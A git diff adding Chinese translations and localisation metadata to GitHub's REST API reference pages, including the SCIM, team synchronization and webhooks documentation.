b/translations/zh-CN/content/rest/reference/git.md @@ -0,0 +1,24 @@ +--- +title: Git 数据库 +intro: The Git Database API enables you to read and write raw Git objects to your Git database on {% data variables.product.product_name %} and to list and update Git references (branch heads and tags). +allowTitleToDifferFromFilename: true +redirect_from: +- /v3/git +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 83909218e706e69b82d51775186b08e481eafff9 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141509024" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/gitignore.md b/translations/zh-CN/content/rest/reference/gitignore.md new file mode 100644 index 0000000000..3dd2007a26 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/gitignore.md @@ -0,0 +1,23 @@ +--- +title: Gitignore +intro: The Gitignore API fetches `.gitignore` templates that can be used to ignore files and directories. +redirect_from: +- /v3/gitignore +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 5bbf6f76efd56eaf6f5257db3b52278c503b6807 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141509023" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/index.md b/translations/zh-CN/content/rest/reference/index.md new file mode 100644 index 0000000000..c64012353d --- /dev/null +++ b/translations/zh-CN/content/rest/reference/index.md @@ -0,0 +1,62 @@ +--- +title: 参考 +shortTitle: Reference +intro: View reference documentation to learn about the resources available in the GitHub REST API. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +children: +- /actions +- /activity +- /apps +- /billing +- /branches +- /checks +- /codes-of-conduct +- /code-scanning +- /codespaces +- /collaborators +- /commits +- /dependabot +- /dependency-graph +- /deploy_keys +- /deployments +- /emojis +- /enterprise-admin +- /gists +- /git +- /gitignore +- /interactions +- /issues +- /licenses +- /markdown +- /meta +- /metrics +- /migrations +- /oauth-authorizations +- /orgs +- /packages +- /pages +- /projects +- /pulls +- /rate-limit +- /reactions +- /releases +- /repos +- /scim +- /search +- /secret-scanning +- /teams +- /users +- /webhooks +ms.openlocfilehash: 1e82d0dba1eb7210bb5a9187f2790fa5a92828d1 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141509022" +--- diff --git a/translations/zh-CN/content/rest/reference/interactions.md b/translations/zh-CN/content/rest/reference/interactions.md new file mode 100644 index 0000000000..ab01e67c62 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/interactions.md @@ -0,0 +1,21 @@ +--- +title: 交互 +intro: With the Interactions API, people with owner or admin access can set the interaction limit for the users in their organizations and repositories. +redirect_from: +- /v3/interactions +versions: + fpt: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 1d7264b51b8d3cd5fdda4fdbb512e02ad0819a97 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141509021" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/issues.md b/translations/zh-CN/content/rest/reference/issues.md new file mode 100644 index 0000000000..9167032194 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/issues.md @@ -0,0 +1,23 @@ +--- +title: 问题 +intro: The Issues API enables you to view and manage issues, including issue assignees, comments, labels, and milestones. +redirect_from: +- /v3/issues +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 73c18d7ca1388986fddccc3e182717ea46a4ac05 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141508034" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/licenses.md b/translations/zh-CN/content/rest/reference/licenses.md new file mode 100644 index 0000000000..d7b699de3b --- /dev/null +++ b/translations/zh-CN/content/rest/reference/licenses.md @@ -0,0 +1,23 @@ +--- +title: 许可证 +intro: The Licenses API lets you to retrieve popular open source licenses and information about a particular project's license file. +redirect_from: +- /v3/licenses +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: c3cfee41eab4cc430d954baf1de70f0acfba98db +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141509020" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/markdown.md b/translations/zh-CN/content/rest/reference/markdown.md new file mode 100644 index 0000000000..dbfd8d2c19 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/markdown.md @@ -0,0 +1,23 @@ +--- +title: Markdown +intro: The Markdown API enables you to render a markdown document as an HTML page or as raw text. +redirect_from: +- /v3/markdown +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: d6950f6d506063ed25a704e3e5b1b536bbbdb007 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506488" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/meta.md b/translations/zh-CN/content/rest/reference/meta.md new file mode 100644 index 0000000000..3e7ea2e9ad --- /dev/null +++ b/translations/zh-CN/content/rest/reference/meta.md @@ -0,0 +1,23 @@ +--- +title: 元数据 +intro: The Meta API returns meta information about {% data variables.product.product_name %} including the IP addresses of {% data variables.product.product_name %} services. +redirect_from: +- /v3/meta +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 6801b1eb1da296ea41e905122569c1aa884636cb +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141508366" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/metrics.md b/translations/zh-CN/content/rest/reference/metrics.md new file mode 100644 index 0000000000..05d50afdbb --- /dev/null +++ b/translations/zh-CN/content/rest/reference/metrics.md @@ -0,0 +1,24 @@ +--- +title: 指标 +intro: The repository metrics API allows you to retrieve community profile, statistics, and traffic for your repository. +allowTitleToDifferFromFilename: true +redirect_from: +- /rest/reference/repository-metrics +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: a123aba8ff1a13b79133f6d3ea0dac05a988d869 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507602" +--- + diff --git a/translations/zh-CN/content/rest/reference/migrations.md b/translations/zh-CN/content/rest/reference/migrations.md new file mode 100644 index 0000000000..35af144cbb --- /dev/null +++ b/translations/zh-CN/content/rest/reference/migrations.md @@ -0,0 +1,25 @@ +--- +title: 迁移 +intro: The Migration API lets you migrate the repositories and users of your organization from {% data variables.product.prodname_dotcom_the_website %} to {% data variables.product.prodname_ghe_server %}. +redirect_from: +- /v3/migrations +- /v3/migration +- /v3/migration/migrations +versions: + fpt: '*' + ghec: '*' + ghes: '>3.3' + ghae: issue-6184 +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 272df6668168c85229006bdf2bb080a0763495a4 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141505340" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/oauth-authorizations.md b/translations/zh-CN/content/rest/reference/oauth-authorizations.md new file mode 100644 index 0000000000..7d3322f6a7 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/oauth-authorizations.md @@ -0,0 +1,18 @@ +--- +title: OAuth 授权 +redirect_from: +- /v3/oauth_authorizations +- /v3/oauth-authorizations +versions: + ghes: '*' +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 3b68c6a30994bec98da37816323fc6ed2865448a +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506813" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/orgs.md b/translations/zh-CN/content/rest/reference/orgs.md new file mode 100644 index 0000000000..4d6437bef5 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/orgs.md @@ -0,0 +1,24 @@ +--- +title: 组织 +intro: The Organizations API gives you access to control and manage all your {% data variables.product.product_name %} organizations. +allowTitleToDifferFromFilename: true +redirect_from: +- /v3/orgs +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 461834bf039f60ebea128b93165612f46ac3ce4e +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141505789" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/packages.md b/translations/zh-CN/content/rest/reference/packages.md new file mode 100644 index 0000000000..b011c14f6e --- /dev/null +++ b/translations/zh-CN/content/rest/reference/packages.md @@ -0,0 +1,20 @@ +--- +title: 包 +intro: With the {% data variables.product.prodname_registry %} API, you can manage packages for your {% data variables.product.prodname_dotcom %} repositories and organizations. +product: '{% data reusables.gated-features.packages %}' +versions: + fpt: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 71d807f1a915d32e764f17233b720e869dc62836 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506812" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/pages.md b/translations/zh-CN/content/rest/reference/pages.md new file mode 100644 index 0000000000..8fa76bafa9 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/pages.md @@ -0,0 +1,22 @@ +--- +title: 页 +intro: The GitHub Pages API allows you to interact with GitHub Pages sites and build information. +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: c53a1314999209eeccd73f4829c5f48babda6c17 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506811" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/projects.md b/translations/zh-CN/content/rest/reference/projects.md new file mode 100644 index 0000000000..4a3cef5346 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/projects.md @@ -0,0 +1,23 @@ +--- +title: 项目 +intro: The Projects API lets you create, list, update, delete and customize projects in a repository. +redirect_from: +- /v3/projects +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: aa003f034ac52e08e51ae644ccc14f149f14d7d7 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506810" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/pulls.md b/translations/zh-CN/content/rest/reference/pulls.md new file mode 100644 index 0000000000..f5e62d2d92 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/pulls.md @@ -0,0 +1,23 @@ +--- +title: 拉取 +intro: The Pulls API allows you to list, view, edit, create, and even merge pull requests. +redirect_from: +- /v3/pulls +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: c7c0fe96b8cc4330c0a83379a0458e1810b18c61 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506234" +--- + diff --git a/translations/zh-CN/content/rest/reference/rate-limit.md b/translations/zh-CN/content/rest/reference/rate-limit.md new file mode 100644 index 0000000000..037fad5a65 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/rate-limit.md @@ -0,0 +1,24 @@ +--- +title: 速率限制 +intro: With the Rate Limit API, you can check the current rate limit status of various REST APIs. +redirect_from: +- /v3/rate_limit +- /v3/rate-limit +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: b36df3bea47b1f291aff9f355b67cbd2bdb26905 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506233" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/reactions.md b/translations/zh-CN/content/rest/reference/reactions.md new file mode 100644 index 0000000000..e022359005 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/reactions.md @@ -0,0 +1,23 @@ +--- +title: 反应 +intro: The Reactions API enables you to create, list and delete the reactions on comments. +redirect_from: +- /v3/reactions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 558c977aa6de245a9828b07b428687335029f394 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506232" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/releases.md b/translations/zh-CN/content/rest/reference/releases.md new file mode 100644 index 0000000000..74707657ca --- /dev/null +++ b/translations/zh-CN/content/rest/reference/releases.md @@ -0,0 +1,22 @@ +--- +title: 发行版本 +intro: The releases API allows you to create, modify, and delete releases and release assets. +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 92d254ee781a24220d853b00e8516e4b4ac284b3 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506231" +--- + diff --git a/translations/zh-CN/content/rest/reference/repos.md b/translations/zh-CN/content/rest/reference/repos.md new file mode 100644 index 0000000000..573fc4340d --- /dev/null +++ b/translations/zh-CN/content/rest/reference/repos.md @@ -0,0 +1,24 @@ +--- +title: 存储库 +intro: The Repos API allows to create, manage and control the workflow of public and private {% data variables.product.product_name %} repositories. +allowTitleToDifferFromFilename: true +redirect_from: +- /v3/repos +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: bb5a5ff36abce0eb1d0ce8825a71d9d50a20c491 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506230" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/scim.md b/translations/zh-CN/content/rest/reference/scim.md new file mode 100644 index 0000000000..04f68678f0 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/scim.md @@ -0,0 +1,21 @@ +--- +title: SCIM +intro: You can control and manage your {% data variables.product.product_name %} organization members access using SCIM API. +redirect_from: +- /v3/scim +versions: + fpt: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 6caa1d6099cc859071dbf3a7ce039c726665e409 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506229" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/search.md b/translations/zh-CN/content/rest/reference/search.md new file mode 100644 index 0000000000..375ff45d23 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/search.md @@ -0,0 +1,23 @@ +--- +title: 搜索 +intro: The {% data variables.product.product_name %} Search API lets you to search for the specific item efficiently. +redirect_from: +- /v3/search +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: bb90d9e3fe8a3aadd14a5a6ae2315fcc92d73e0a +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141506227" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/secret-scanning.md b/translations/zh-CN/content/rest/reference/secret-scanning.md new file mode 100644 index 0000000000..d8e4a513e3 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/secret-scanning.md @@ -0,0 +1,19 @@ +--- +title: 机密扫描 +intro: Use the secret scanning API to retrieve and update secret alerts from a repository. +versions: + fpt: '*' + ghes: '*' + ghec: '*' + ghae: '*' +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 4fc4515c4b8024d7c6f600f334dbdbd45c2e051f +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507453" +--- + diff --git a/translations/zh-CN/content/rest/reference/teams.md b/translations/zh-CN/content/rest/reference/teams.md new file mode 100644 index 0000000000..9c07af2af3 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/teams.md @@ -0,0 +1,23 @@ +--- +title: Teams +intro: With the Teams API, you can create and manage teams in your {% data variables.product.product_name %} organization. +redirect_from: +- /v3/teams +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 9cf786b24822dc36bdae826f7e2b6e715890c395 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507452" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/users.md b/translations/zh-CN/content/rest/reference/users.md new file mode 100644 index 0000000000..2312b56e62 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/users.md @@ -0,0 +1,23 @@ +--- +title: 用户 +intro: The Users API allows to get public and private information about the authenticated user. +redirect_from: +- /v3/users +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 9b48764bfcb90b5fa0e67c9527ce7eee5adec4c9 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507451" +--- + \ No newline at end of file diff --git a/translations/zh-CN/content/rest/reference/webhooks.md b/translations/zh-CN/content/rest/reference/webhooks.md new file mode 100644 index 0000000000..7db7180118 --- /dev/null +++ b/translations/zh-CN/content/rest/reference/webhooks.md @@ -0,0 +1,22 @@ +--- +title: Webhook +intro: The webhooks API allows you to create and manage webhooks for your repositories. +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 34d41f6dbf6a374547e7c75919942690012f9f76 +ms.sourcegitcommit: ea9a577cff7ec16ded25ed57417c83ec04816428 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 04/07/2022 +ms.locfileid: "141507450" +--- + diff --git a/translations/zh-CN/content/rest/scim.md b/translations/zh-CN/content/rest/scim.md index cc680f5db1..b3f75976f1 100644 --- a/translations/zh-CN/content/rest/scim.md +++ b/translations/zh-CN/content/rest/scim.md @@ -1,6 +1,6 @@ --- title: SCIM -intro: You can control and manage your GitHub organization members access using SCIM API. +intro: 可使用 SCIM API 控制和管理 GitHub 组织成员访问权限。 versions: ghec: '*' topics: @@ -8,45 +8,50 @@ topics: miniTocMaxHeadingLevel: 3 redirect_from: - /rest/reference/scim +ms.openlocfilehash: 314ed9433ffeb1ef3f189795727a3b654c529c96 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883041' --- +## 关于 SCIM API -## About the SCIM API +### 组织的 SCIM 预配 -### SCIM Provisioning for Organizations - -The SCIM API is used by SCIM-enabled Identity Providers (IdPs) to automate provisioning of {% data variables.product.product_name %} organization membership. The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is based on version 2.0 of the [SCIM standard](http://www.simplecloud.info/). The {% data variables.product.product_name %} SCIM endpoint that an IdP should use is: `{% data variables.product.api_url_code %}/scim/v2/organizations/{org}/`. +SCIM API 由 SCIM 启用的身份提供程序 (IdP) 用来自动预配 {% data variables.product.product_name %} 组织成员身份。 {% ifversion fpt or ghec %} {% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 基于 [ 的 2.0 版 SCIM 标准](http://www.simplecloud.info/)。 IdP 应使用的 {% data variables.product.product_name %} SCIM 终结点是:`{% data variables.product.api_url_code %}/scim/v2/organizations/{org}/`。 {% note %} -**Notes:** - - The SCIM API is available only for individual organizations that use [{% data variables.product.prodname_ghe_cloud %}](/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts) with [SAML SSO](/rest/overview/other-authentication-methods#authenticating-for-saml-sso) enabled. For more information about SCIM, see "[About SCIM for organizations](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)." - - The SCIM API cannot be used with an enterprise account or with an {% data variables.enterprise.prodname_emu_org %}. +**注意:** + - SCIM API 仅适用于启用了 [SAML SSO](/rest/overview/other-authentication-methods#authenticating-for-saml-sso) 的 [{% data variables.product.prodname_ghe_cloud %}](/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts) 使用的个人组织。 有关 SCIM 的详细信息,请参阅“[关于组织的 SCIM](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)”。 + - SCIM API 不能与企业帐户或 {% data variables.product.prodname_emu_org %} 一起使用。 {% endnote %} -### Authenticating calls to the SCIM API +### 向 SCIM API 验证调用 -You must authenticate as an owner of a {% data variables.product.product_name %} organization to use its SCIM API. The API expects an [OAuth 2.0 Bearer](/developers/apps/authenticating-with-github-apps) token to be included in the `Authorization` header. If you use a {% data variables.product.pat_v1 %} for authentication, it must have the `admin:org` scope and you must also [authorize it for use with your SAML SSO organization](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on). +您必须验证为 {% data variables.product.product_name %} 组织的所有者才可使用其 SCIM API。 该 API 要求将 [OAuth 2.0 持有者](/developers/apps/authenticating-with-github-apps)令牌包含在 `Authorization` 标头中。 还可以使用个人访问令牌,但必须先[授权它与 SAML SSO 组织一起使用](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)。 -### Mapping of SAML and SCIM data +### SAML 和 SCIM 数据的映射 {% data reusables.scim.nameid-and-username-must-match %} -### Supported SCIM User attributes +### 支持的 SCIM 用户属性 -Name | Type | Description +名称 | 类型 | 说明 -----|------|-------------- -`userName`|`string` | The username for the user. -`name.givenName`|`string` | The first name of the user. -`name.familyName`|`string` | The last name of the user. -`emails` | `array` | List of user emails. -`externalId` | `string` | This identifier is generated by the SAML provider, and is used as a unique ID by the SAML provider to match against a GitHub user. You can find the `externalID` for a user either at the SAML provider, or using the [List SCIM provisioned identities](#list-scim-provisioned-identities) endpoint and filtering on other known attributes, such as a user's GitHub username or email address. -`id` | `string` | Identifier generated by the GitHub SCIM endpoint. -`active` | `boolean` | Used to indicate whether the identity is active (true) or should be deprovisioned (false). +`userName`|`string` | 用户的用户名。 +`name.givenName`|`string` | 用户的名字。 +`name.familyName`|`string` | 用户的姓氏。 +`emails` | `array` | 用户电子邮件列表。 +`externalId` | `string` | 此标识符由 SAML 提供程序生成,并且被 SAML 提供程序用作唯一 ID 来匹配 GitHub 用户。 可以在 SAML 提供程序上查找用户的 `externalID`,也可以使用[列出 SCIM 预配的身份](#list-scim-provisioned-identities)终结点并筛选其他已知属性,例如用户的 GitHub 用户名或电子邮件地址。 +`id` | `string` | GitHub SCIM 端点生成的标识符。 +`active` | `boolean` | 用于表示身份是处于活动状态 (true) 还是应解除预配 (false)。 {% note %} -**Note:** Endpoint URLs for the SCIM API are case sensitive. For example, the first letter in the `Users` endpoint must be capitalized: +注意:SCIM API 的终结点 URL 区分大小写。 例如,`Users` 终结点中的第一个字母必须大写: ```shell GET /scim/v2/organizations/{org}/Users/{scim_user_id} diff --git a/translations/zh-CN/content/rest/teams/team-sync.md b/translations/zh-CN/content/rest/teams/team-sync.md index 83a7cfda33..331f4c7a2a 100644 --- a/translations/zh-CN/content/rest/teams/team-sync.md +++ b/translations/zh-CN/content/rest/teams/team-sync.md @@ -1,22 +1,27 @@ --- -title: Team synchronization -intro: 'The Team synchronization API allows you to manage connections between {% data variables.product.product_name %} teams and external identity provider (IdP) groups.' +title: 团队同步 +intro: '团队同步 API 允许你管理 {% data variables.product.product_name %} 团队与外部标识提供者 (IdP) 组之间的连接。' versions: ghec: '*' topics: - API miniTocMaxHeadingLevel: 3 allowTitleToDifferFromFilename: true +ms.openlocfilehash: 6a5d379b1050e10f9e31e14ed2b094a684676737 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147067160' --- +## 关于团队同步 API -## About the Team synchronization API +要使用此 API,经过身份验证的用户必须是团队维护员或与团队关联的组织的所有者。 用于身份验证的令牌还需要获得授权才能与 IdP (SSO) 提供程序一起使用。 有关详细信息,请参阅“[授权用于 SAML 单一登录组织的个人访问令牌](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)”。 -To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team. The token you use to authenticate will also need to be authorized for use with your IdP (SSO) provider. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with a SAML single sign-on organization](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)." - -You can manage GitHub team members through your IdP with team synchronization. Team synchronization must be enabled to use the Team Synchronization API. For more information, see "[Synchronizing teams between your identity provider and GitHub](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)." +您可以通过 IdP 通过团队同步管理 GitHub 团队成员。 必须启用团队同步才能使用团队同步 API。 有关详细信息,请参阅“[在标识提供者与 GitHub 之间同步团队](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)”。 {% note %} -**Note:** The Team Synchronization API cannot be used with {% data variables.product.prodname_emus %}. To learn more about managing an {% data variables.enterprise.prodname_emu_org %}, see "[External groups API](/enterprise-cloud@latest/rest/reference/teams#external-groups)". +注意:团队同步 API 不能与 {% data variables.product.prodname_emus %} 一起使用。 若要详细了解如何管理 {% data variables.product.prodname_emu_org %},请参阅“[外部组 API](/enterprise-cloud@latest/rest/reference/teams#external-groups)”。 {% endnote %} diff --git a/translations/zh-CN/content/rest/webhooks/index.md b/translations/zh-CN/content/rest/webhooks/index.md index 32fd9f1157..8979d8f3d0 100644 --- a/translations/zh-CN/content/rest/webhooks/index.md +++ b/translations/zh-CN/content/rest/webhooks/index.md @@ -1,6 +1,6 @@ --- -title: Webhook -intro: Web 挂钩 API 允许您为存储库创建和管理 web 挂钩。 +title: 仓库 web 挂钩 +intro: 使用 REST API 创建和管理存储库的 Webhook。 allowTitleToDifferFromFilename: true versions: fpt: '*' @@ -16,28 +16,30 @@ children: - /repos redirect_from: - /rest/reference/webhooks -ms.openlocfilehash: 9216b892bbc19752266cea22d88bec655363ecaf -ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.openlocfilehash: 5654fb1644f654c4664cccdeb987667c157b16cf +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/11/2022 -ms.locfileid: '147882341' 